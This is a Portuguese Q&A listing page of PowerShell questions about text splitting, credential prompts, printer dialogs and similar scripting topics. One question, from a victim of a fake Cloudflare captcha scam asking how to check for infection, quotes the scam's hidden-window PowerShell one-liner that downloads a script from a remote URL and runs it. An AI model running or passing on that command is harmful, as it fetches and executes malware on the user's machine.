AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • Início
  • system&network
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • Início
  • system&network
    • Recentes
    • Highest score
    • tags
  • Ubuntu
    • Recentes
    • Highest score
    • tags
  • Unix
    • Recentes
    • tags
  • DBA
    • Recentes
    • tags
  • Computer
    • Recentes
    • tags
  • Coding
    • Recentes
    • tags
Início / computer / 问题

Perguntas[powershell](computer)

Martin Hope
JPX
Asked: 2025-04-29 21:17:18 +0800 CST

Como dividir texto multilinha e incluir espaços em branco antes da palavra dividida com o PoweShell?

  • 6

Estou tentando dividir um texto multilinha por uma palavra. O problema é que -split "(?=Name\s*:)"não inclui espaços em branco antes do 'Nome'. "(?=\s*Name\s*:)"Ele divide linhas vazias, assim como"(?m)(?=^\s*Name\s*:)"

$text = @"

Players:
     Name            : Matt
     Height          : 195
     Weight          : 100

     Name            : Keith
     Height          : 185
     Weight          : 85

     Name            : David
     Height          : 175
     Weight          : 85

"@
        
        # Split the text by the word "Name" and keep the word in the next part, 
        $text = $text -split "(?=Name\s*:)"
       
        # Remove the part before the first occurrence of "split"
        $text= $text[1..($text.Length - 1)]
   
        $index = 1
        foreach($part in $text)
        {
            Write-Host "---------------------------------------"
            Write-Host "Player $($index):"
            $index++
            $part
        }

O Nome está no início da linha, não no mesmo lugar que Altura e Peso.

---------------------------------------
Player 1:
Name            : Matt
     Height          : 195
     Weitht          : 100

     
---------------------------------------
Player 2:
Name            : Keith
     Height          : 185
     Weight          : 85

     
---------------------------------------
Player 3:
Name            : David
     Height          : 175
     Weight          : 85
powershell
  • 1 respostas
  • 23 Views
Martin Hope
Ian Y.
Asked: 2025-04-21 11:00:24 +0800 CST

Como detectar se meu computador está infectado com algum vírus do golpe Win+R Ctrl+V?

  • 6

Golpistas espalharam links fraudulentos no GitHub que levavam a uma página falsa de captcha da Cloudflare, e a página me instruiu a pressionar as teclas ⊞ Win+ R, Ctrl+ Ve, em seguida, pressionar Enter. Segui as instruções, mas nada aconteceu.

Percebi que era um golpe momentos depois. Como sei se meu computador está infectado com algum vírus do golpe?

O código de golpe de uma linha que me instruíram a colar é o seguinte. Um usuário comentou abaixo sugerindo dividir o código em duas linhas aqui para evitar que alguém o usasse por engano.

powershell
 -WindowStyle Hidden -Command ([ScriptBlock]::Create((irm https://jaihind.edu.in/weatherdolphin/dollrandom))).Invoke(); Write-Host   "                                                    Cloudflare. inc.  Captcha-ID:1488                                   ";```
powershell
  • 2 respostas
  • 112 Views
Martin Hope
Warnerbrothers
Asked: 2025-04-02 22:52:23 +0800 CST

Como comparar 2 matrizes de objetos PScustom com 3 colunas e colocar a linha alterada em uma variável?

  • 6

Estou com dificuldades com o seguinte:

  • Eu coleto dados de um site (a cada 30 minutos) que me fornece 2 matrizes.
  • A primeira matriz contém as informações de 30 minutos atrás (valores antigos).
  • A segunda matriz tem os novos valores

Essas matrizes são preenchidas com dados de objetos PScustom.

Colums:
Name
Waarde
Actie

O que eu quero alcançar:

  • Se a última coluna "Actie" mudar, quero que a linha completa ("name", "waarde" e "actie") seja adicionada a uma variável para que eu possa postar apenas as alterações.

saída de matriz para comparar

Testei com uma ação de comparação, mas ela só retorna um "inputobject" como valor, sem os dados completos da linha:

Compare-Object -ReferenceObject $lastresult.actie -DifferenceObject $results.actie -IncludeEqual
powershell
  • 1 respostas
  • 25 Views
Martin Hope
cachius
Asked: 2025-03-10 20:37:17 +0800 CST

Powershell.exe não solicita credenciais

  • 5

Quando eu uso Get-Credentialor Start-Process -Cred, um pop-up pedindo credenciais aparece, ou seja, nome de usuário e senha. Você pode até mesmo preencher previamente o nome de usuário passando-o como argumento.

Captura de tela de um prompt de senha na frente do Terminal do Windows

Às vezes, porém, o pop-up não abre, resultando diretamente em um erro:

> Get-Credential username
Get-Credential : Cannot bind argument to parameter 'Credential' because it is null.
At line:1 char:16
+ Get-Credential username
+                ~~~~~~~~
    + CategoryInfo          : InvalidData: (:) [Get-Credential], ParameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.GetCredenti
   alCommand

Eu rastreei o comportamento de volta ao seguinte:
Quando abro o Terminal do Windows, o pop-up aparece.
Quando abro o powershell.exe, seja pelo menu iniciar, pelo diálogo Executar ou pela barra de endereços do Explorer, o erro ocorre.

Diferentes árvores de processos

Notei diferentes árvores de processos:

Trabalhando no Terminal do Windows:
Captura de tela da árvore de processos do powershell.exe no Process Explorer quando invocado pelo Terminal do Windows


Não está funcionando:
Captura de tela da árvore de processos do powershell.exe no Process Explorer quando invocado pela barra de endereços do Windows Explorer


Gostaria de continuar usando o powershell.exe, pois ele vem pré-instalado, e da barra de endereços do Explorer, pois ele pode ser aberto no diretório correto.

Como fazer Get-Credential funcionar no powershell.exe?

powershell
  • 1 respostas
  • 125 Views
Martin Hope
Ralf_Reddings
Asked: 2025-03-08 10:28:57 +0800 CST

Como abrir as caixas de diálogo 'preferências de impressão' e 'propriedades da impressora' via cmd/powershell?

  • 8

Esses diálogos podem ser acessados ​​manualmente pelo painel de controle, mas eu só quero acessá-los pela linha de comando ou pelo menos por um arquivo de atalho que os abra diretamente. Estou simplesmente ficando muito frustrado com o painel de controle e o programa de configurações moderno do Windows brigando um pelo outro.

insira a descrição da imagem aqui

Consegui descobrir como criar um arquivo de atalho clicando com o botão direito do mouse em uma impressão e escolhendo "criar um atalho", mas executar esse atalho abre a "caixa de diálogo da fila de impressão".

O painel de controle, assim como outros lugares no Windows, são capazes de abrir de forma confiável todas as caixas de diálogo de "preferências" e "propriedades" da impressora, então deve haver algum tipo de interface, algo semelhante a estas .

powershell
  • 3 respostas
  • 217 Views
Martin Hope
cachius
Asked: 2025-02-27 21:00:54 +0800 CST

Como abrir o powershell.exe no Windows Terminal Preview em vez do Windows Terminal comum?

  • 5

Recentemente instalei o Windows Terminal Preview e já fiz o wt.exe abri-lo . Agora quero que ele abra ao iniciar o powershell.exe no Menu Iniciar, na caixa de diálogo Executar ou na barra de endereços do Windows Explorer.

Como configurar isso?

powershell
  • 1 respostas
  • 31 Views
Martin Hope
Io-oI
Asked: 2025-02-23 12:44:39 +0800 CST

Como manipular e limpar a saída de -WhatIf no PowerShell?

  • 7

Estou tentando capturar e limpar a saída do -WhatIfparâmetro no powershell para uma operação de renomeação de arquivo. O objetivo é remover algumas partes da saída, mas mesmo depois de várias tentativas, não consegui fazer funcionar. Abaixo estão os métodos que tentei:

Set-Location "C:\Path\To\Directory"

$Replace1  = 'Item: C:\Path\To\Directory\'
$Replace2  = 'What if: Performing the operation `"Rename File`" on target'
$Replace3  = 'Destination: C:\Path\To\Directory\'
$VarIvExp  = "GCI -Path . -Filter *.pdf | Ren -New { `$_.Name -replace ' ', '_' -replace '-', '_' } -Whatif ;"

# Various attempts to capture and replace parts of the output:
Invoke-Expression $VarIvExp            | % { ($_ 3>&1).Replace($Replace1,'').Replace($Replace2,'').Replace($Replace3,'') }
Invoke-Expression $VarIvExp.ToString() | % { ($_ 3>&1).Replace($Replace1,'').Replace($Replace2,'').Replace($Replace3,'') }

Invoke-Expression $VarIvExp 3>&1       | % {  $_.ToString().Replace($Replace1,'').Replace($Replace2,'').Replace($Replace3,'')       }
Invoke-Expression $VarIvExp.ToString() | % { ($_.ToString() 3>&1).Replace($Replace1,'').Replace($Replace2,'').Replace($Replace3,'') }

Invoke-Expression $VarIvExp.ToString() | % {  $_            | out-string -Replace $Replace1,'' -Replace $Replace2,'' -Replace $Replace3,'' }
Invoke-Expression $VarIvExp            | % {  $_.ToString() |            -Replace $Replace1,'' -Replace $Replace2,'' -Replace $Replace3,'' }

Invoke-Expression $VarIvExp 3>&1       | % {  $_            | out-string -Replace $Replace1,'' -Replace $Replace2,'' -Replace $Replace3,'' }
Invoke-Expression $VarIvExp.ToString() | % {  $_            |            -Replace $Replace1,'' -Replace $Replace2,'' -Replace $Replace3,'' }
Invoke-Expression $VarIvExp            | % {  $_.ToString() |            -Replace $Replace1,'' -Replace $Replace2,'' -Replace $Replace3,'' }

  • Saídas:
What if: Performing the operation "Rename File" on target "Item: C:\Path\To\Directory\SomeText  I nº 001-SMSCBMRJ-20250222.pdf" Destination: C:\Path\To\Directory\SomeText__I_nº_001_SMSCBMRJ_20250222.pdf
What if: Performing the operation "Rename File" on target "Item: C:\Path\To\Directory\SomeText  I nº 002-SMSCBMRJ-20250222.pdf" Destination: C:\Path\To\Directory\SomeText__I_nº_002_SMSCBMRJ_20250222.pdf
What if: Performing the operation "Rename File" on target "Item: C:\Path\To\Directory\SomeText II nº 001-SMSCBMRJ-20250222.pdf" Destination: C:\Path\To\Directory\SomeText_II_nº_001_SMSCBMRJ_20250222.pdf
What if: Performing the operation "Rename File" on target "Item: C:\Path\To\Directory\SomeText II nº 002-SMSCBMRJ-20250222.pdf" Destination: C:\Path\To\Directory\SomeText_II_nº_002_SMSCBMRJ_20250222.pdf

Nota .: Também tentei várias manipulações diretamente em $Results, mas sem sucesso. Abaixo estão as tentativas com $Results...$Results.Replace('various attempts','')

Set-Location "C:\Path\To\Directory"
$Replace1  = 'Item: C:\Path\To\Directory\'
$Replace2  = 'What if: Performing the operation `"Rename File`" on target'
$Replace3  = 'Destination: C:\Path\To\Directory\'

$VarIvExp  = "GCI -Path . -Filter *.pdf | Ren -New { `$_.Name -replace ' ', '_' -replace '-', '_' } -Whatif ;"

$Results = Invoke-Expression $VarIvExp

$Results = Invoke-Expression $VarIvExp.Replace( -Replace $Replace1,'' -Replace $Replace2,'' -Replace $Replace3,'')

$Results.ToString().Replace($Replace1,'').Replace($Replace2,'').Replace($Replace3,'')

  • Resultado desejado/esperado:
SomeText  I nº 001-SMSCBMRJ-20250222.pdf SomeText__I_nº_001_SMSCBMRJ_20250222.pdf
SomeText  I nº 002-SMSCBMRJ-20250222.pdf SomeText__I_nº_002_SMSCBMRJ_20250222.pdf
SomeText II nº 001-SMSCBMRJ-20250222.pdf SomeText_II_nº_001_SMSCBMRJ_20250222.pdf
SomeText II nº 002-SMSCBMRJ-20250222.pdf SomeText_II_nº_002_SMSCBMRJ_20250222.pdf
powershell
  • 1 respostas
  • 65 Views
Martin Hope
Teknowledgist
Asked: 2025-02-05 04:38:51 +0800 CST

Comportamento estranho do Powershell Get-ChildItem

  • 7

Por que qualquer um deles retornaria três itens:

gci C:\tools\* -filter b*.jar -recurse |select fullname
gci C:\tools\b* -filter b*.jar -recurse |select fullname
gci C:\tools\briss-* -filter b*.jar -recurse |select fullname
gci C:\tools\briss-2* -filter b*.jar -recurse |select fullname
gci C:\tools\briss-2.* -filter b*.jar -recurse |select fullname
gci C:\tools\briss-2.0* -filter b*.jar -recurse |select fullname

FullName
--------
C:\tools\Briss-2.0\lib\bcmail-jdk15-1.46.jar
C:\tools\Briss-2.0\lib\bcprov-jdk15-1.46.jar
C:\tools\Briss-2.0\lib\Briss-2.0.jar

mas qualquer um deles retorna apenas um:

gci C:\tools\br* -filter b*.jar -recurse | select fullname
gci C:\tools\bri* -filter b*.jar -recurse | select fullname
gci C:\tools\bris* -filter b*.jar -recurse | select fullname
gci C:\tools\briss* -filter b*.jar -recurse | select fullname

FullName
--------
C:\tools\Briss-2.0\lib\Briss-2.0.jar

Achei que sabia alguma coisa sobre o PowerShell, mas isso não faz sentido.

Editar

Admito uma presunção: removi uma seção do caminho na minha colagem acima para torná-lo mais curto. Não vejo razão para que isso faça diferença. Aqui está uma captura de tela do efeito real: instantâneo do console do PowerShell mostrando comportamento estranho

Nota: Eu não redigitei o primeiro comando gci, apenas o relembrei e adicionei o "r" no caminho. Além disso, o caminho não está digitado errado porque usei a conclusão de tabulação.

Eu estava testando algo para incluir em um script, mas isso não faz parte de um script. Notei isso no Win11, mas repeti em uma VM Win10 limpa. Se você usar o Chocolatey e instalar o Briss, deverá obter exatamente a mesma estrutura de pastas para testar isso você mesmo.

powershell
  • 1 respostas
  • 70 Views
Martin Hope
seagull
Asked: 2025-02-04 21:05:20 +0800 CST

Listando enums `value__` no PowerShell

  • 5

Os scripts do PowerShell que escrevo precisam ser o mais compatíveis possível, então, ao verificar estados de coisas, sempre prefiro consultar um enum ( 4) em vez de uma string ( Enabled). Em 99% dos casos, o valor da string permanece consistente mesmo em versões localizadas do Windows, mas sempre haverá um dispositivo em que ele não é, e será aquele que executará meu script e me colocará em apuros. Isso é bom, desde que eu saiba para onde os enums mapeiam, mas obter essa informação é como arrancar dentes.

Exemplo: Serviços
Pesquisar no Google por "service state enum powershell" leva você até aqui , onde você pode ver uma tabela bacana listando os valores para o estado de um serviço que se alinha ao valor que você obtém ao executar (get-service 'xyz').status.value__. Isso me permite dizer
if ($value -eq 1)ao contrário de if ($value -eq 'enabled'), que é uma comparação muito mais robusta.
Novamente, tudo bem , se você souber os termos para pesquisar .

A pergunta real
Existe algum comando do PowerShell ou um site que eu possa usar para listar essas value__enumerações? No momento, estou tentando encontrar a enumeração para o statevalor get-WindowsOptionalFeaturee não estou obtendo nada. Certamente não é para ser esse tiro disperso? Sou autodidata, então espero que haja algum repositório dessas coisas que são de conhecimento comum e que eu apenas ignorei.

powershell
  • 1 respostas
  • 19 Views
Martin Hope
Manu Järvinen
Asked: 2025-01-23 01:17:34 +0800 CST

Como adicionar vários usuários do Windows 11 que têm tremas (Ä, Ö, Å, etc.) em grupos que têm tremas por meio do script PS1 PowerShell?

  • 10

Como adicionar vários usuários do Windows 11 que têm tremas (Ä, Ö, Å, etc.) em grupos que têm tremas por meio do script PS1 PowerShell?

powershell
  • 2 respostas
  • 965 Views

Sidebar

Stats

  • Perguntas 205573
  • respostas 270741
  • best respostas 135370
  • utilizador 68524
  • Highest score
  • respostas
  • Marko Smith

    Como posso reduzir o consumo do processo `vmmem`?

    • 11 respostas
  • Marko Smith

    Baixar vídeo do Microsoft Stream

    • 4 respostas
  • Marko Smith

    O Google Chrome DevTools falhou ao analisar o SourceMap: chrome-extension

    • 6 respostas
  • Marko Smith

    O visualizador de fotos do Windows não pode ser executado porque não há memória suficiente?

    • 5 respostas
  • Marko Smith

    Como faço para ativar o WindowsXP agora que o suporte acabou?

    • 6 respostas
  • Marko Smith

    Área de trabalho remota congelando intermitentemente

    • 7 respostas
  • Marko Smith

    O que significa ter uma máscara de sub-rede /32?

    • 6 respostas
  • Marko Smith

    Ponteiro do mouse movendo-se nas teclas de seta pressionadas no Windows?

    • 1 respostas
  • Marko Smith

    O VirtualBox falha ao iniciar com VERR_NEM_VM_CREATE_FAILED

    • 8 respostas
  • Marko Smith

    Os aplicativos não aparecem nas configurações de privacidade da câmera e do microfone no MacBook

    • 5 respostas
  • Martin Hope
    Vickel O Firefox não permite mais colar no WhatsApp web? 2023-08-18 05:04:35 +0800 CST
  • Martin Hope
    Saaru Lindestøkke Por que os arquivos tar.xz são 15x menores ao usar a biblioteca tar do Python em comparação com o tar do macOS? 2021-03-14 09:37:48 +0800 CST
  • Martin Hope
    CiaranWelsh Como posso reduzir o consumo do processo `vmmem`? 2020-06-10 02:06:58 +0800 CST
  • Martin Hope
    Jim Pesquisa do Windows 10 não está carregando, mostrando janela em branco 2020-02-06 03:28:26 +0800 CST
  • Martin Hope
    andre_ss6 Área de trabalho remota congelando intermitentemente 2019-09-11 12:56:40 +0800 CST
  • Martin Hope
    Riley Carney Por que colocar um ponto após o URL remove as informações de login? 2019-08-06 10:59:24 +0800 CST
  • Martin Hope
    zdimension Ponteiro do mouse movendo-se nas teclas de seta pressionadas no Windows? 2019-08-04 06:39:57 +0800 CST
  • Martin Hope
    jonsca Todos os meus complementos do Firefox foram desativados repentinamente, como posso reativá-los? 2019-05-04 17:58:52 +0800 CST
  • Martin Hope
    MCK É possível criar um código QR usando texto? 2019-04-02 06:32:14 +0800 CST
  • Martin Hope
    SoniEx2 Altere o nome da ramificação padrão do git init 2019-04-01 06:16:56 +0800 CST

Hot tag

windows-10 linux windows microsoft-excel networking ubuntu worksheet-function bash command-line hard-drive

Explore

  • Início
  • Perguntas
    • Recentes
    • Highest score
  • tag
  • help

Footer

AskOverflow.Dev

About Us

  • About Us
  • Contact Us

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve